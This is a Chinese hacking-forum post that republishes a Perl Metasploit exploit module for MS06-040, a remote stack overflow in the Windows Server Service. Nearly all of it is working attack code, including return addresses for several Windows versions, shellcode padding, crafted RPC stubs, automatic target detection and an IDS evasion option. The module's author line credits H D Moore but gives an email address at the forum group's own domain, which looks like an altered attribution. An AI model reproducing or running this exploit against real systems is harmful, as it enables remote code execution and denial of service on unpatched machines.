HanDs
管理员

[Visual Studio文章] MS06-040源码 



信息来源:邪恶八进制信息安全团队(www.eviloctal.com
文章作者:S.C.T黑眼圈

本代码参考了EhostAdmin的部分代码.没有完全抄袭.只是进行了修改和优化.加了NT4.0/2000

MS06-040源码


##
# MS06-040漏洞Exploits Code
# 此源码由华北黑客联盟-S.C.T[黑眼圈]编译
# 测试通过,完成时间-2个星期
# 代码不太规范,大家别打我啊.
#
www.hbhacker.net   华北黑客联盟S.C.T
##

package Msf::Exploit::netapi_ms06_040;
use base "Msf::Exploit";
use strict;

use Pex::DCERPC;
use Pex::NDR;

my $advanced = {
  'FragSize'   => [ 256, 'The DCERPC fragment size' ],
  'BindEvasion' => [ 0,   'IDS Evasion of the bind request' ],
  'DirectSMB'   => [ 0,   'Use direct SMB (445/tcp)' ],
};

my $info = {
  'Name'   => 'Microsoft NetpIsRemote() MSO6-040 Overflow',
  'Version' => '$Revision: 3715 $',
  'Authors' =>
    [
    'H D Moore <hdm [at] hbhacker.net>',
    ],

  'Arch' => ['x86'],
  'OS'   => [ 'win32', 'win2000', 'winxp', 'win2003' ],
  'Priv' => 1,

  'AutoOpts' => { 'EXITFUNC' => 'thread' },
 
  'UserOpts' =>
    {
    'RHOST' => [ 1, 'ADDR', 'The target address' ],

    # SMB connection options
    'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ],
    'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username', '' ],
    'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ],
    },

  'Payload' =>
    {
    # Technically we can use more space than this, but by limiting it
        # to 370 bytes we can use the same request for all Windows SPs.
    'Space'   => 370,
   
    'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
    'Keys'   => ['+ws2ord'],

    # sub esp, 4097 + inc esp makes stack happy
    'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
    },

  'Description' => Pex::Text::Freeform(
    qq{
    This module exploits a stack overflow in the NetApi32 NetpIsRemote() function
    using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that
    other RPC calls could be used to exploit this service. This exploit will result in
    a denial of service on on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt
    will likely result in a complete reboot on Windows 2000 and the termination of all
    SMB-related services on Windows XP. The default target for this exploit should succeed
    on Windows NT 4.0, Windows 2000 SP0-SP4+, and Windows XP SP0-SP1.
    }
    ),

  'Refs' =>
    [
    [ 'BID', '19409' ],
    [ 'CVE', '2006-3439' ],
    [ 'MSB', 'MS06-040' ],
    ],

  'DefaultTarget' => 0,
  'Targets'     =>
    [
      [ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)' ],
    [ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4', 1000, 0x00020804 ],
    [ '(wcscpy) Windows XP SP0/SP1', 612, 0x00020804 ],
    [ '(stack) Windows XP SP1 China', 656, 680, 0x71ab1d54], # jmp esp @ ws2_32.dll
    ],

  'Keys' => ['srvsvc'],

  'DisclosureDate' => 'Aug 09 2006',
};

sub new {
  my ($class) = @_;
  my $self =
    $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ );
  return ($self);
}

sub Exploit {
  my ($self)     = @_;
  my $target_host = $self->GetVar('RHOST');
  my $target_port = $self->GetVar('RPORT');
  my $target_idx = $self->GetVar('TARGET');
  my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  my $target_name = '*SMBSERVER';

  my $FragSize = $self->GetVar('FragSize') || 256;
  my $target   = $self->Targets->[$target_idx];

  if (!$self->InitNops(128)) {
    $self->PrintLine("Could not initialize the nop module");
    return;
  }

  my ( $res, $rpc );

  my $pipe   = '\BROWSER';
  my $uuid   = '4b324fc8-1670-01d3-1278-5a47bf6ee188';
  my $version = '3.0';

  my $handle = Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host, $pipe );

  my $dce = Pex::DCERPC->new(
    'handle'     => $handle,
    'username'   => $self->GetVar('SMBUSER'),
    'password'   => $self->GetVar('SMBPASS'),
    'domain'     => $self->GetVar('SMBDOM'),
    'fragsize'   => $self->GetVar('FragSize'),
    'bindevasion' => $self->GetVar('BindEvasion'),
    'directsmb'   => $self->GetVar('DirectSMB'),
    );

  if ( !$dce ) {
    $self->PrintLine("
  • Could not bind to $handle");
        return;
      }

      my $smb = $dce->{'_handles'}{$handle}{'connection'};
     
      if (! $smb) {
        $self->PrintLine("
  • Could not establish SMB session");
        return;
      }

      if ( $target->[0] =~ /Automatic/ ) {
        if ( $smb->PeerNativeOS eq 'Windows 5.0' ) {
            $target = $self->Targets->[1];
            $self->PrintLine('
  • Detected a Windows 2000 target');
        }
        elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) {
            $target = $self->Targets->[2];
            $self->PrintLine('
  • Detected a Windows XP target');
            $self->PrintLine('
  • This will not work on SP2!');
        }
        elsif ( $smb->PeerNativeOS eq 'Windows 4.0' ) {
            $target = $self->Targets->[1];
            $self->PrintLine('
  • Detected a Windows NT 4.0 target');
            $self->PrintLine('
  • Please email us with the results!');
        }    
        else {
            $self->PrintLine('
  • No target available for ' . $smb->PeerNativeOS() );
            return;
        }
      }
       
      #
      # /* Function 0x1f at 0x767e912c */
      # long function_1f (
      #   [in] [unique] [string] wchar_t * arg_00,
      #   [in] [string] wchar_t * arg_01,
      #   [out] [size_is(arg_03)] char * arg_02,
      #   [in] [range(0, 64000)] long arg_03,
      #   [in] [string] wchar_t * arg_04,
      #   [in,out] long * arg_05,
      #   [in] long arg_06
      # );
      #
     
      my $stub;

      #
      # Use the wcscpy() method on NT 4.0 / 2000
      #  
      if ($target->[0] =~ /2000/ && ! $target->[3]) {
     
        # Pad our shellcode out with nops
        $shellcode = $self->MakeNops($target->[1] - length($shellcode)) . $shellcode;
     
        # Stick it into a path
        my $path =   $shellcode . (pack('V', $target->[2]) x 16) . "\x00\x00";

        # Package that into a stub
        $stub =
            Pex::NDR::Long(int(rand(0xffffffff))).
            Pex::NDR::UnicodeConformantVaryingString('').
            Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path).
            Pex::NDR::Long(int(rand(250)+1)).
            Pex::NDR::UnicodeConformantVaryingStringPreBuilt( "\xeb\x02" . "\x00\x00").
            Pex::NDR::Long(int(rand(250)+1)).
            Pex::NDR::Long(0);  
      #
      # Use the wcscpy() method on XP SP0/SP1
      #  
      } elsif ($target->[0] =~ /XP/ && ! $target->[3]) {

        # XP SP0/SP1
        my $path =  
            # Shellcode (corrupted ~420 bytes in)
            $shellcode.
            # Padding
            Pex::Text::AlphaNumText($target->[1] - length($shellcode)).
            # Land 6 bytes in to bypass garbage (XP SP0)
            pack('V', $target->[2] + 6).
            # Padding
            Pex::Text::AlphaNumText(8).
            # Address to write our shellcode (XP SP0)
            pack('V', $target->[2]).
            # Padding (required)
            Pex::Text::AlphaNumText(32).
            # Jump straight to shellcode (XP SP1)
            pack('V', $target->[2]).
            # Padding
            Pex::Text::AlphaNumText(8).                
            # Address to write our shellcode (XP SP1)
            pack('V', $target->[2]).
            # Padding (required)
            Pex::Text::AlphaNumText(32).        
            # Terminate
            "\x00\x00";

        # Package that into a stub
        $stub =
            Pex::NDR::Long(int(rand(0xffffffff))).
            Pex::NDR::UnicodeConformantVaryingString('').
            Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path).
            Pex::NDR::Long(int(rand(250)+1)).
            Pex::NDR::UnicodeConformantVaryingString('').
            Pex::NDR::Long(int(rand(250)+1)).
            Pex::NDR::Long(0);

      #
      # Use the stack overflow method if a return address is set
      #
      } elsif( $target->[3]) {

        my $buff = Pex::Text::AlphaNumText(800);
        substr($buff, 0, length($shellcode), $shellcode);
        substr($buff, $target->[1], 4, pack('V', $target->[3]));
        substr($buff, $target->[2], 5, "\xe9" . pack('V', ($target->[1] + 5) * -1 ));
       
        my $path = "\\\x00\\\x00". $buff. "\x00\x00";

        # Package that into a stub
        $stub =
            Pex::NDR::Long(int(rand(0xffffffff))).
            Pex::NDR::UnicodeConformantVaryingString('').
            Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path).
            Pex::NDR::Long(int(rand(250)+1)).
            Pex::NDR::UnicodeConformantVaryingString('').
            Pex::NDR::Long(int(rand(250)+1)).
            Pex::NDR::Long(0);
      } else {
        $self->PrintLine("This target is not currently supported");
        return;
      }


      $self->PrintLine("
  • Sending request...");
     
      # Function 0x1f is not the only way to exploit this :-)
      my @response = $dce->request( $handle, 0x1f, $stub );
     
      if ( length($dce->{'response'}->{'StubData'}) > 0) {
        $self->PrintLine("
  • The server rejected it, trying again...");
        @response = $dce->request( $handle, 0x1f, $stub );
      }
     
      if ( length($dce->{'response'}->{'StubData'}) > 0) {
        $self->PrintLine("
  • This system may be patched or running Windows XP SP1 or SP2");
      }
     
      if (@response) {
        $self->PrintLine('
  • RPC server responded with:');
        foreach my $line (@response) {
            $self->PrintLine( '
  • ' . $line );
        }
      }

      return;
    }

    1;

  • 学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
    MS06-040 源码
    #1楼
    发帖时间:2016-7-9   |   查看数:0   |   回复数:0
    游客组
    快速回复